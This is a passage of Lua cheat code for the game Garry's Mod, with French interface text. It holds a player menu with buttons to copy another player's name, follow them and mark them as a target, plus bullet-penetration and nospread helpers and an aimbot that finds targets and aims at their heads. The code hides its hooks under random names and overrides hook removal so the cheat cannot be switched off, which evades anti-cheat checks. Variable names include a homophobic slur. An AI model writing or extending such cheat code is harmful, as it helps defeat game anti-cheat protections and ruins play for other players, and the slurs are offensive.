  1505. surface.SetDrawColor( Color(0, 0, 0, 200) )
  1506. surface.DrawRect( 10, 25, PMenu:GetWide() - 20, PMenu:GetTall() - 35 )
  1507. end
  1508. local Plist = vgui.Create( "DPanelList", PMenu )
  1509. Plist:SetSize( 560, 370 )
  1510. Plist:SetPadding( 5 )
  1511. Plist:SetSpacing( 5 )
  1512. Plist:EnableHorizontal( false )
  1513. Plist:EnableVerticalScrollbar( true )
  1514. Plist:SetPos( 10, 25 )
  1515. Plist:SetName( "" )
  1516. for k, v in pairs( player.GetAll() ) do
  1517. if v == LocalPlayer() then continue end
  1518. local plypanel2 = vgui.Create( "DPanel" )
  1519. plypanel2:SetPos( 0, 0 )
  1520. plypanel2:SetSize( 480, 40 )
  1521. plypanel2.Paint = function() -- Paint function
  1522. draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
  1523. surface.SetDrawColor( ZNX.DefaultScheme )
  1524. surface.DrawOutlinedRect(1, 1, plypanel2:GetWide() - 1 , plypanel2:GetTall() - 1)
  1525. end
  1526. local plyname = vgui.Create( "DLabel", plypanel2 )
  1527. plyname:SetPos( 15, 5 )
  1528. plyname:SetFont( "Trebuchet18" )
  1529. plyname:SetColor( team.GetColor(v:Team()) )
  1530. plyname:SetText( "Nom: "..v:Nick() )
  1531. plyname:SetSize(180, 15)
  1532. if ZNX.GetRank(v) != ( "user" or "guest" or "player" ) then
  1533. local rtxt = vgui.Create( "DLabel", plypanel2 )
  1534. rtxt:SetPos( 15, 20 )
  1535. rtxt:SetFont( "Trebuchet18" )
  1536. rtxt:SetColor( Color(255,100,0,255) )
  1537. rtxt:SetText( "Grade: "..ZNX.GetRank(v) )
  1538. rtxt:SetSize(180, 15)
  1539. end
  1540. local faggot = vgui.Create("DButton", plypanel2)
  1541. faggot:SetSize( 45, 25 )
  1542. faggot:SetPos( 200, 8 )
  1543. faggot:SetText("Profile")
  1544. faggot:SetTextColor(Color(255, 255, 255, 255))
  1545. faggot.Paint = function(panel, w, h)
  1546. surface.SetDrawColor(100, 100, 200 ,255)
  1547. surface.DrawOutlinedRect(0, 0, w, h)
  1548. surface.SetDrawColor(0, 0, 50 ,155)
  1549. surface.DrawRect(0, 0, w, h)
  1550. end
  1551. faggot.DoClick = function()
  1552. ZNX.ChatText( "Ouverture de la page steam de: "..v:Nick().." ("..v:SteamID()..")", Color(255,255,255) )
  1553. v:ShowProfile()
  1554. surface.PlaySound("buttons/button7.wav")
  1555. end
  1556. local faggot = vgui.Create("DButton", plypanel2)
  1557. faggot:SetSize( 45, 25 )
  1558. faggot:SetPos( 250, 8 )
  1559. faggot:SetText("Muet")
  1560. faggot:SetTextColor(Color(255, 255, 255, 255))
  1561. faggot.Paint = function(panel, w, h)
  1562. if !v:IsValid() then return end
  1563. if v:IsMuted() then
  1564. surface.SetDrawColor(200, 100, 000 ,255)
  1565. else
  1566. surface.SetDrawColor(100, 100, 200 ,255)
  1567. end
  1568. surface.DrawOutlinedRect(0, 0, w, h)
  1569. surface.SetDrawColor(0, 0, 50 ,155)
  1570. surface.DrawRect(0, 0, w, h)
  1571. end
  1572. faggot.DoClick = function()
  1573. v:SetMuted( !v:IsMuted() )
  1574. if v:IsMuted() then ZNX.ChatText( "Muet: "..v:Nick(), Color(255,255,255) ) else ZNX.ChatText( "D�muter: "..v:Nick(), Color(255,255,255) ) end
  1575. surface.PlaySound("buttons/button7.wav")
  1576. end
  1577. local faggot = vgui.Create("DButton", plypanel2)
  1578. faggot:SetSize( 70, 25 )
  1579. faggot:SetPos( 300, 8 )
  1580. faggot:SetText("Voler le nom")
  1581. faggot:SetTextColor(Color(255, 255, 255, 255))
  1582. faggot.Paint = function(panel, w, h)
  1583. surface.SetDrawColor(100, 100, 200 ,255)
  1584. surface.DrawOutlinedRect(0, 0, w, h)
  1585. surface.SetDrawColor(0, 0, 50 ,155)
  1586. surface.DrawRect(0, 0, w, h)
  1587. end
  1588. faggot.DoClick = function()
  1589. LocalPlayer():ConCommand("say /rpname "..v:Nick().." ")
  1590. ZNX.ChatText( "Vous avez voler le nom de: "..v:Nick(), Color(255,255,255) )
  1591. surface.PlaySound("buttons/button7.wav")
  1592. end
  1593. local faggot = vgui.Create("DButton", plypanel2)
  1594. faggot:SetSize( 60, 25 )
  1595. faggot:SetPos( 375, 8 )
  1596. faggot:SetText("CIBLER")
  1597. faggot:SetTextColor(Color(255, 255, 255, 255))
  1598. faggot.Paint = function(panel, w, h)
  1599. if ZNX.IsTarget( v ) then
  1600. surface.SetDrawColor(100, 200, 100 ,255)
  1601. else
  1602. surface.SetDrawColor(100, 100, 200 ,255)
  1603. end
  1604. surface.DrawOutlinedRect(0, 0, w, h)
  1605. surface.SetDrawColor(0, 0, 50 ,155)
  1606. surface.DrawRect(0, 0, w, h)
  1607. end
  1608. faggot.DoClick = function()
  1609. if ZNX.IsTarget( v ) then ZNX.RemoveTarget(v) else ZNX.AddTarget(v) end
  1610. surface.PlaySound("buttons/button7.wav")
  1611. end
  1612. local faggot = vgui.Create("DButton", plypanel2)
  1613. faggot:SetSize( 45, 25 )
  1614. faggot:SetPos( 440, 8 )
  1615. faggot:SetText("Ami")
  1616. faggot:SetTextColor(Color(255, 255, 255, 255))
  1617. faggot.Paint = function(panel, w, h)
  1618. if ZNX.IsFriend( v ) then
  1619. surface.SetDrawColor(100, 200, 100 ,255)
  1620. else
  1621. surface.SetDrawColor(100, 100, 200 ,255)
  1622. end
  1623. surface.DrawOutlinedRect(0, 0, w, h)
  1624. surface.SetDrawColor(0, 0, 50 ,155)
  1625. surface.DrawRect(0, 0, w, h)
  1626. end
  1627. faggot.DoClick = function()
  1628. if ZNX.IsFriend( v ) then ZNX.RemoveFriend(v) else ZNX.AddFriend(v) end
  1629. surface.PlaySound("buttons/button7.wav")
  1630. end
  1631. local faggot = vgui.Create("DButton", plypanel2)
  1632. faggot:SetSize( 45, 25 )
  1633. faggot:SetPos( 490, 8 )
  1634. faggot:SetText("Suivre")
  1635. faggot:SetTextColor(Color(255, 255, 255, 255))
  1636. faggot.Paint = function(panel, w, h)
  1637. surface.SetDrawColor(100, 100, 200 ,255)
  1638. surface.DrawOutlinedRect(0, 0, w, h)
  1639. surface.SetDrawColor(0, 0, 50 ,155)
  1640. surface.DrawRect(0, 0, w, h)
  1641. end
  1642. faggot.DoClick = function()
  1643. if !following then
  1644. following = true
  1645. if v:IsPlayer() then
  1646. local ID = v:SteamID()
  1647. hook.Add("Think", "follow", function()
  1648. if v:SteamID()==ID then
  1649. local head = v:LookupBone("ValveBiped.Bip01_Head1")
  1650. local headpos,headang = v:GetBonePosition(head)
  1651. LocalPlayer():SetEyeAngles((headpos - LocalPlayer():GetShootPos()):Angle())
  1652. if !saidname then
  1653. saidname = true
  1654. end
  1655. end
  1656. end)
  1657. LocalPlayer():ConCommand("+forward")
  1658. LocalPlayer():ConCommand("+speed")
  1659. end
  1660. elseif following then
  1661. following = false
  1662. hook.Remove("Think", "follow")
  1663. LocalPlayer():ConCommand("-forward")
  1664. LocalPlayer():ConCommand("-speed")
  1665. saidname = false
  1666. end
  1667. surface.PlaySound("buttons/button7.wav")
  1668. end
  1669. Plist:AddItem( plypanel2 )
  1670. end
  1671. end
  1672. concommand.Add("LokiDev_players", ZNX.PlayerMenu)
  1673. ------------------------------------------------------------------------BIG MEMES----------------------------------------------------------------------------------------
  1674. function ZNX.IsMessagePooled( netmessage )
  1675. status, error = pcall(net.Start,netmessage)
  1676. return status
  1677. end
  1678. ------------------------------------------------------------------------DANK NOSPREAD----------------------------------------------------------------------------------------
  1679. local penistration = {
  1680. ["SniperPenetratedRound"] = 20,
  1681. ["pistol"] = 9,
  1682. ["357"] = 12,
  1683. ["smg1"] = 14,
  1684. ["ar2"] = 16,
  1685. ["buckshot"] = 5,
  1686. ["slam"] = 5,
  1687. ["AirboatGun"] = 17,
  1688. }
  1689. function ZNX.GetM9gayPenetration( ply, gun, tr, testent )
  1690. if !gun.Penetration then return false end
  1691. local ammotyp = gun.Primary.Ammo
  1692. local penindex = 14
  1693. if penistration[ammotyp] then penindex = penistration[ammotyp] end
  1694. if tr.MatType == MAT_METAL and ammotyp != "SniperPenetratedRound" then return false end
  1695. penindex = penindex - 0.05 -- precaution so we don't botch extreme range shots
  1696. local penissize = tr.Normal * penindex
  1697. if (tr.MatType == MAT_GLASS or tr.MatType == MAT_PLASTIC or tr.MatType == MAT_WOOD or tr.MatType == MAT_FLESH or tr.MatType == MAT_ALIENFLESH) then
  1698. penissize = tr.Normal * (penindex * 2)
  1699. end
  1700. local ntrace = {}
  1701. ntrace.endpos = tr.HitPos + tr.Normal * 99999
  1702. ntrace.start = tr.HitPos + penissize
  1703. ntrace.mask = MASK_SHOT
  1704. ntrace.filter = {ply}
  1705. local trace = util.TraceLine(ntrace)
  1706. if trace.StartSolid or ( trace.Entity and trace.Entity != testent ) then return false end
  1707. return true
  1708. end
  1709. function ZNX.CanWeaponPenetrate( tr, testent )
  1710. local ply = LocalPlayer()
  1711. local gun = ply:GetActiveWeapon()
  1712. if !ply:IsValid() or !gun or !gun:IsValid() then return false end
  1713. if gun.Primary and gun.Primary.Spread and gun.Primary.IronAccuracy then return ZNX.GetM9gayPenetration( ply, gun, tr, testent ) end
  1714. return false
  1715. end
  1716. function ZNX.IsBabyGod( ply )
  1717. if !ply:IsValid() or !ply:Alive() or ply:InVehicle() then return false end
  1718. if ply:GetRenderMode() == RENDERMODE_TRANSALPHA and ply:GetColor().a == 100 then
  1719. return true
  1720. else
  1721. return false
  1722. end
  1723. end
  1724.  
  1725. function ZNX.GetPenetrationStrength( tr ) --heh
  1726. if !ZNX.CanWeaponPenetrate() then return 0 end
  1727. local ply = LocalPlayer()
  1728. local gun = ply:GetActiveWeapon()
  1729. if !ply:IsValid() or !gun or !gun:IsValid() then return 0 end
  1730. if gun.Primary and gun.Primary.Spread and gun.Primary.IronAccuracy then return ZNX.GetM9gayPenetration( ply, gun ) end
  1731. return 0
  1732. end
  1733.  
  1734. function ZNX.FixMove( cmd, safe )
  1735. local move = Vector( cmd:GetForwardMove(), cmd:GetSideMove(), cmd:GetUpMove() )
  1736. local speed = math.sqrt( move.x * move.x + move.y * move.y )
  1737. local mang = move:Angle()
  1738. local yaw = math.rad( cmd:GetViewAngles().y - ZNX.InternalFakeAngles.y + mang.y )
  1739. cmd:SetForwardMove( (math.cos(yaw) * speed) * 1 )
  1740. cmd:SetSideMove( math.sin(yaw) * speed )
  1741. end
  1742. ------------------------------------------------------------------------AIMBOT FUNCTIONS--------------------------------------------------------------------------------------
  1743. do
  1744. local hooks = {}
  1745. local created = {}
  1746. local function CallHook(self, name, args)
  1747. if !hooks[name] then return end
  1748. for funcName, _ in pairs(hooks[name]) do
  1749. local func = self[funcName]
  1750. if func then
  1751. local ok, err = pcall(func, self, unpack(args or {}))
  1752. if !ok then
  1753. ErrorNoHalt(err .. "\n")
  1754. elseif err then
  1755. return err
  1756. end
  1757. end
  1758. end
  1759. end
  1760. local function RandomName()
  1761. local random = ""
  1762. for i = 1, math.random(4, 10) do
  1763. local c = math.random(65, 116)
  1764. if c >= 91 && c <= 96 then c = c + 6 end
  1765. random = random .. string.char(c)
  1766. end
  1767. return random
  1768. end
  1769. local function AddHook(self, name, funcName)
  1770. if !created[name] then
  1771. local random = RandomName()
  1772. hook.Add(name, random, function(...) return CallHook(self, name, {...}) end)
  1773. created[name] = random
  1774. end
  1775. hooks[name] = hooks[name] or {}
  1776. hooks[name][funcName] = true
  1777. end
  1778. local cvarhooks = {}
  1779. local function GetCallbackTable(convar)
  1780. local callbacks = cvars.GetConVarCallbacks(convar)
  1781. if !callbacks then
  1782. cvars.AddChangeCallback(convar, function() end)
  1783. callbacks = cvars.GetConVarCallbacks(convar)
  1784. end
  1785. return callbacks
  1786. end
  1787. local function AddCVarHook(self, convar, funcName, ...)
  1788. local hookName = "CVar_" .. convar
  1789. if !cvarhooks[convar] then
  1790. local random = RandomName()
  1791. local callbacks = GetCallbackTable(convar)
  1792. callbacks[random] = function(...)
  1793. CallHook(self, hookName, {...})
  1794. end
  1795. cvarhooks[convar] = random
  1796. end
  1797. AddHook(self, hookName, funcName)
  1798. end
  1799. local oldRemove = hook.Remove
  1800. function hook.Remove(name, unique)
  1801. if created[name] == unique then return end
  1802. oldRemove(name, unique)
  1803. end
  1804. local function RemoveHooks()
  1805. for hookName, unique in pairs(created) do
  1806. oldRemove(hookName, unique)
  1807. end
  1808. for convar, unique in pairs(cvarhooks) do
  1809. local callbacks = GetCallbackTable(convar)
  1810. callbacks[unique] = nil
  1811. end
  1812. end
  1813. AA.AddHook = AddHook
  1814. AA.AddCVarHook = AddCVarHook
  1815. AA.CallHook = CallHook
  1816. AA.RemoveHooks = RemoveHooks
  1817. end
  1818. concommand.Add("aa_reload", function()
  1819. AA:CallHook("Shutdown")
  1820. print("Suppression des hooks...")
  1821. AA:RemoveHooks()
  1822. AA = nil
  1823. local info = debug.getinfo(1, "S")
  1824. if info && info.short_src then
  1825. if string.Left(info.short_src, 3) == "lua" then
  1826. info.short_src = string.sub(info.short_src, 5)
  1827. end
  1828. print("Rechargement (" .. info.short_src .. ")...")
  1829. include(info.short_src)
  1830. else
  1831. print("Ficher de L'AutoAim non pr�sent, recharger manuellement !.")
  1832. end
  1833. end)
  1834. local function GetMeta(name)
  1835. return table.Copy(FindMetaTable(name) or {})
  1836. end
  1837. local AngM = GetMeta("Angle")
  1838. local CmdM = GetMeta("CUserCmd")
  1839. local EntM = GetMeta("Entity")
  1840. local PlyM = GetMeta("Player")
  1841. local VecM = GetMeta("Vector")
  1842. do
  1843. local settings = {}
  1844. local function SettingVar(self, name)
  1845. return (self.SettingPrefix or "") .. string.lower(name)
  1846. end
  1847. local function RandomName()
  1848. local random = ""
  1849. for i = 1, math.random(4, 10) do
  1850. local c = math.random(65, 116)
  1851. if c >= 91 && c <= 96 then c = c + 6 end
  1852. random = random .. string.char(c)
  1853. end
  1854. return random
  1855. end
  1856. local function SetSetting(name, _, new)
  1857. if !settings[name] then return end
  1858. local info = settings[name]
  1859. if info.Type == "number" then
  1860. new = tonumber(new)
  1861. elseif info.Type == "boolean" then
  1862. new = (tonumber(new) or 0) > 0
  1863. end
  1864. info.Value = new
  1865. end
  1866. local function CreateSetting(self, name, desc, default, misc)
  1867. local cvar = SettingVar(self, name)
  1868. local info = {Name = name, Desc = desc, CVar = cvar, Type = type(default), Value = default}
  1869. for k, v in pairs(misc or {}) do
  1870. if !info[k] then info[k] = v end
  1871. end
  1872. if type(default) == "boolean" then
  1873. default = default and 1 or 0
  1874. end
  1875. if !settings[cvar] then
  1876. local tab = cvars.GetConVarCallbacks(cvar)
  1877. if !tab then
  1878. cvars.AddChangeCallback(cvar, function() end)
  1879. tab = cvars.GetConVarCallbacks(cvar)
  1880. end
  1881. while true do
  1882. local name = RandomName()
  1883. if !tab[name] then
  1884. tab[name] = SetSetting
  1885. info.Callback = name
  1886. break
  1887. end
  1888. end
  1889. end
  1890. settings[cvar] = info
  1891. settings[#settings + 1] = info
  1892. CreateClientConVar(cvar, default, (info.Save != false), false)
  1893. SetSetting(cvar, _, GetConVarString(cvar))
  1894. end
  1895. local function GetSetting(self, name)
  1896. local cvar = SettingVar(self, name)
  1897. if !settings[cvar] then return end
  1898. return settings[cvar].Value
  1899. end
  1900. local function Shutdown()
  1901. print("Removing settings callbacks...")
  1902. for _, info in ipairs(settings) do
  1903. if info.CVar && info.Callback then
  1904. local tab = cvars.GetConVarCallbacks(info.CVar)
  1905. if tab then
  1906. tab[info.Callback] = nil
  1907. end
  1908. end
  1909. end
  1910. end
  1911. local function SettingsList()
  1912. return table.Copy(settings)
  1913. end
  1914. local function BuildMenu(self, panel)
  1915. hook.Remove("HUDPaint", "aimbotangle")
  1916. hook.Remove("Think", "aimbot")
  1917. for _, info in ipairs(settings) do
  1918. if info.Show != false then
  1919. if info.MultiChoice then
  1920. local m = panel:MultiChoice(info.Desc or info.CVar, info.CVar)
  1921. for k, v in pairs(info.MultiChoice) do
  1922. m:AddChoice(k, v)
  1923. end
  1924. elseif info.Type == "number" then
  1925. panel:NumSlider(info.Desc or info.CVar, info.CVar, info.Min or -1, info.Max or -1, info.Places or 0)
  1926. elseif info.Type == "boolean" then
  1927. panel:CheckBox(info.Desc or info.CVar, info.CVar)
  1928. elseif info.Type == "string" then
  1929. panel:TextEntry(info.Desc or info.CVar, info.CVar)
  1930. end
  1931. end
  1932. end
  1933. end
  1934. AA.SettingPrefix = "aa_"
  1935. AA.CreateSetting = CreateSetting
  1936. AA.Setting = GetSetting
  1937. AA.SettingsList = SettingsList
  1938. AA.BuildMenu = BuildMenu
  1939. AA.SettingsShutdown = Shutdown
  1940. AA:AddHook("Shutdown", "SettingsShutdown")
  1941. end
  1942. AA.ModelTarget = {}
  1943. function AA:SetModelTarget(model, targ)
  1944. if LocalPlayer():GetActiveWeapon() != NULL then
  1945. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  1946. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  1947. end
  1948. self.ModelTarget[model] = targ
  1949. end
  1950. function AA:BaseTargetPosition(ent)
  1951. if LocalPlayer():GetActiveWeapon() != NULL then
  1952. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  1953. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  1954. end
  1955. if type(ent) == "Player" then
  1956. local head = EntM["LookupAttachment"](ent, "eyes")
  1957. if head then
  1958. local pos = EntM["GetAttachment"](ent, head)
  1959. if pos then
  1960. return pos.Pos - (AngM["Forward"](pos.Ang) * 2)
  1961. end
  1962. end
  1963. end
  1964. local special = self.ModelTarget[string.lower(EntM["GetModel"](ent) or "")]
  1965. if special then
  1966. if type(special) == "string" then
  1967. local bone = EntM["LookupBone"](ent, special)
  1968. if bone then
  1969. local pos = EntM["GetBonePosition"](ent, bone)
  1970. if pos then
  1971. return pos
  1972. end
  1973. end
  1974. elseif type(special) == "Vector" then
  1975. return EntM["LocalToWorld"](ent, special)
  1976. elseif type(special) == "function" then
  1977. local pos = pcall(special, ent)
  1978. if pos then return pos end
  1979. end
  1980. end
  1981. local bone = "ValveBiped.Bip01_Head1"
  1982. local head = EntM["LookupBone"](ent, bone)
  1983. if head then
  1984. local pos = EntM["GetBonePosition"](ent, head)
  1985. if pos then
  1986. return pos
  1987. end
  1988. end
  1989. return EntM["LocalToWorld"](ent, EntM["OBBCenter"](ent))
  1990. end
  1991. function AA:TargetPosition(ent)
  1992. if LocalPlayer():GetActiveWeapon() != NULL then
  1993. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  1994. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  1995. end
  1996. local targetPos = self:BaseTargetPosition(ent)
  1997. local ply = LocalPlayer()
  1998. if ValidEntity(ply) then
  1999. targetPos = self:CallHook("TargetPrediction", {ply, ent, targetPos}) or targetPos
  2000. end
  2001. return targetPos
  2002. end
  2003. AA:SetModelTarget("models/crow.mdl", Vector(0, 0, 5))
  2004. AA:SetModelTarget("models/pigeon.mdl", Vector(0, 0, 5))
  2005. AA:SetModelTarget("models/seagull.mdl", Vector(0, 0, 6))
  2006. AA:SetModelTarget("models/combine_scanner.mdl", "Scanner.Body")
  2007. AA:SetModelTarget("models/hunter.mdl", "MiniStrider.body_joint")
  2008. AA:SetModelTarget("models/combine_turrets/floor_turret.mdl", "Barrel")
  2009. AA:SetModelTarget("models/dog.mdl", "Dog_Model.Eye")
  2010. AA:SetModelTarget("models/vortigaunt.mdl", "ValveBiped.Head")
  2011. AA:SetModelTarget("models/antlion.mdl", "Antlion.Body_Bone")
  2012. AA:SetModelTarget("models/antlion_guard.mdl", "Antlion_Guard.Body")
  2013. AA:SetModelTarget("models/antlion_worker.mdl", "Antlion.Head_Bone")
  2014. AA:SetModelTarget("models/zombie/fast_torso.mdl", "ValveBiped.HC_BodyCube")
  2015. AA:SetModelTarget("models/zombie/fast.mdl", "ValveBiped.HC_BodyCube")
  2016. AA:SetModelTarget("models/headcrabclassic.mdl", "HeadcrabClassic.SpineControl")
  2017. AA:SetModelTarget("models/headcrabblack.mdl", "HCBlack.body")
  2018. AA:SetModelTarget("models/headcrab.mdl", "HCFast.body")
  2019. AA:SetModelTarget("models/zombie/poison.mdl", "ValveBiped.Headcrab_Cube1")
  2020. AA:SetModelTarget("models/zombie/classic.mdl", "ValveBiped.HC_Body_Bone")
  2021. AA:SetModelTarget("models/zombie/classic_torso.mdl", "ValveBiped.HC_Body_Bone")
  2022. AA:SetModelTarget("models/zombie/zombie_soldier.mdl", "ValveBiped.HC_Body_Bone")
  2023. AA:SetModelTarget("models/combine_strider.mdl", "Combine_Strider.Body_Bone")
  2024. AA:SetModelTarget("models/combine_dropship.mdl", "D_ship.Spine1")
  2025. AA:SetModelTarget("models/combine_helicopter.mdl", "Chopper.Body")
  2026. AA:SetModelTarget("models/gunship.mdl", "Gunship.Body")
  2027. AA:SetModelTarget("models/lamarr.mdl", "HeadcrabClassic.SpineControl")
  2028. AA:SetModelTarget("models/mortarsynth.mdl", "Root Bone")
  2029. AA:SetModelTarget("models/synth.mdl", "Bip02 Spine1")
  2030. AA:SetModelTarget("models/vortigaunt_slave.mdl", "ValveBiped.Head")
  2031. AA.NPCDeathSequences = {}
  2032. function AA:AddNPCDeathSequence(model, sequence)
  2033. self.NPCDeathSequences = self.NPCDeathSequences or {}
  2034. self.NPCDeathSequences[model] = self.NPCDeathSequences[model] or {}
  2035. if !table.HasValue(self.NPCDeathSequences[model]) then
  2036. table.insert(self.NPCDeathSequences[model], sequence)
  2037. end
  2038. end
  2039. AA:AddNPCDeathSequence("models/barnacle.mdl", 4)
  2040. AA:AddNPCDeathSequence("models/barnacle.mdl", 15)
  2041. AA:AddNPCDeathSequence("models/antlion_guard.mdl", 44)
  2042. AA:AddNPCDeathSequence("models/hunter.mdl", 124)
  2043. AA:AddNPCDeathSequence("models/hunter.mdl", 125)
  2044. AA:AddNPCDeathSequence("models/hunter.mdl", 126)
  2045. AA:AddNPCDeathSequence("models/hunter.mdl", 127)
  2046. AA:AddNPCDeathSequence("models/hunter.mdl", 128)
  2047. AA:CreateSetting("friendlyfire", "Target teammates", false)
  2048. function AA:IsValidTarget(ent)
  2049. if LocalPlayer():GetActiveWeapon() != NULL then
  2050. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2051. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2052. end
  2053. local typename = type(ent)
  2054. if typename != "NPC" && typename != "Player" then return false end
  2055. if !ValidEntity(ent) then return false end
  2056. local ply = LocalPlayer()
  2057. if ent == ply then return false end
  2058. if typename == "Player" then
  2059. if !PlyM["Alive"](ent) then return false end
  2060. if !self:Setting("friendlyfire") && PlyM["Team"](ent) == PlyM["Team"](ply) then return false end
  2061. if GetConVarNumber("aa_targetfriends") != 1 && ent:GetFriendStatus() == "friend" then return false end
  2062. if EntM["GetMoveType"](ent) == MOVETYPE_OBSERVER then return false end
  2063. if EntM["GetMoveType"](ent) == MOVETYPE_NONE then return false end
  2064. end
  2065. if typename == "NPC" then
  2066. if EntM["GetMoveType"](ent) == MOVETYPE_NONE then return false end
  2067. local model = string.lower(EntM["GetModel"](ent) or "")
  2068. if table.HasValue(self.NPCDeathSequences[model] or {}, EntM["GetSequence"](ent)) then return false end
  2069. end
  2070. end
  2071. AA:CreateSetting("predictblocked", "Predict blocked (time)", 0.4, {Min = 0, Max = 1})
  2072. function AA:BaseBlocked(target, offset)
  2073. if LocalPlayer():GetActiveWeapon() != NULL then
  2074. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2075. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2076. end
  2077. local ply = LocalPlayer()
  2078. if !ValidEntity(ply) then return end
  2079. local shootPos = PlyM["GetShootPos"](ply)
  2080. local targetPos = self:TargetPosition(target)
  2081. if offset then targetPos = targetPos + offset end
  2082. local trace = util.TraceLine({start = shootPos, endpos = targetPos, filter = {ply, target}, mask = MASK_SHOT})
  2083. local wrongAim = self:AngleBetween(PlyM["GetAimVector"](ply), VecM["GetNormal"](targetPos - shootPos)) > 2
  2084. if trace.Hit && trace.Entity != target then
  2085. return true, wrongAim
  2086. end
  2087. return false, wrongAim
  2088. end
  2089. function AA:TargetBlocked(target)
  2090. if LocalPlayer():GetActiveWeapon() != NULL then
  2091. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2092. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2093. end
  2094. if !target then target = self:GetTarget() end
  2095. if !target then return end
  2096. local blocked, wrongAim = self:BaseBlocked(target)
  2097. if self:Setting("predictblocked") > 0 && blocked then
  2098. blocked = self:BaseBlocked(target, EntM["GetVelocity"](target) * self:Setting("predictblocked"))
  2099. end
  2100. return blocked, wrongAim
  2101. end
  2102. function AA:SetTarget(ent)
  2103. if LocalPlayer():GetActiveWeapon() != NULL then
  2104. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2105. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2106. end
  2107. if self.Target && !ent then
  2108. self:CallHook("TargetLost")
  2109. elseif !self.Target && ent then
  2110. self:CallHook("TargetGained")
  2111. elseif self.Target && ent && self.Target != ent then
  2112. self:CallHook("TargetChanged")
  2113. end
  2114. self.Target = ent
  2115. end
  2116. function AA:GetTarget()
  2117. if LocalPlayer():GetActiveWeapon() != NULL then
  2118. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2119. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2120. end
  2121. if ValidEntity(self.Target) != false then
  2122. return self.Target
  2123. else
  2124. return false
  2125. end
  2126. end
  2127. AA:CreateSetting("maxangle", "Max angle", 30, {Min = 5, Max = 90})
  2128. AA:CreateSetting("targetblocked", "Don't check LOS", false)
  2129. AA:CreateSetting("holdtarget", "Hold targets", false)
  2130. function AA:FindTarget()
  2131. if LocalPlayer():GetActiveWeapon() != NULL then
  2132. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2133. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2134. end
  2135. if !self:Enabled() then return end
  2136. local ply = LocalPlayer()
  2137. if !ValidEntity(ply) then return end
  2138. local maxAng = self:Setting("maxangle")
  2139. local aimVec, shootPos = PlyM["GetAimVector"](ply), PlyM["GetShootPos"](ply)
  2140. local targetBlocked = self:Setting("targetblocked")
  2141. if self:Setting("holdtarget") then
  2142. local target = self:GetTarget()
  2143. if target then
  2144. local targetPos = self:TargetPosition(target)
  2145. local angle = self:AngleBetween(AngM["Forward"](self:GetView()), VecM["GetNormal"](targetPos - shootPos))
  2146. local blocked = self:TargetBlocked(target)
  2147. if angle <= maxAng && (!blocked || targetBlocked) then return end
  2148. end
  2149. end
  2150. local targets = ents.GetAll()
  2151. for i, ent in pairs(targets) do
  2152. if self:IsValidTarget(ent) == false then
  2153. targets[i] = nil
  2154. end
  2155. end
  2156. local closestTarget, lowestAngle = _, maxAng
  2157. for _, target in pairs(targets) do
  2158. if targetBlocked || !self:TargetBlocked(target) then
  2159. local targetPos = self:TargetPosition(target)
  2160. local angle = self:AngleBetween(AngM["Forward"](self:GetView()), VecM["GetNormal"](targetPos - shootPos))
  2161. if angle < lowestAngle then
  2162. lowestAngle = angle
  2163. closestTarget = target
  2164. end
  2165. end
  2166. end
  2167. self:SetTarget(closestTarget)
  2168. end
  2169. AA:AddHook("Think", "FindTarget")
  2170. AA.View = Angle(0, 0, 0)
  2171. function AA:GetView()
  2172. return self.View * 1
  2173. end
  2174. function AA:KeepView()
  2175. if !self:Enabled() then return end
  2176. local ply = LocalPlayer()
  2177. if !ValidEntity(ply) then return end
  2178. self.View = EntM["EyeAngles"](ply)
  2179. end
  2180. AA:AddHook("OnToggled", "KeepView")
  2181. local sensitivity = 0.022
  2182. function AA:RotateView(cmd)
  2183. if LocalPlayer():GetActiveWeapon() != NULL then
  2184. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
  2185. LocalPlayer():GetActiveWeapon():GetClass() == "gmod_tool" or LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physcannon" ) then return end
  2186. end
  2187. self.View.p = math.Clamp(self.View.p + (CmdM["GetMouseY"](cmd) * sensitivity), -89, 89)
  2188. self.View.y = math.NormalizeAngle(self.View.y + (CmdM["GetMouseX"](cmd) * sensitivity * -1))
  2189. end
  2190. AA:CreateSetting("debug", "Debug", false, {Show = false})
  2191. function AA:FakeView(ply, origin, angles, FOV)
  2192. if LocalPlayer():GetActiveWeapon() != NULL then
  2193. if( LocalPlayer():GetActiveWeapon():GetClass() == "weapon_physgun" or
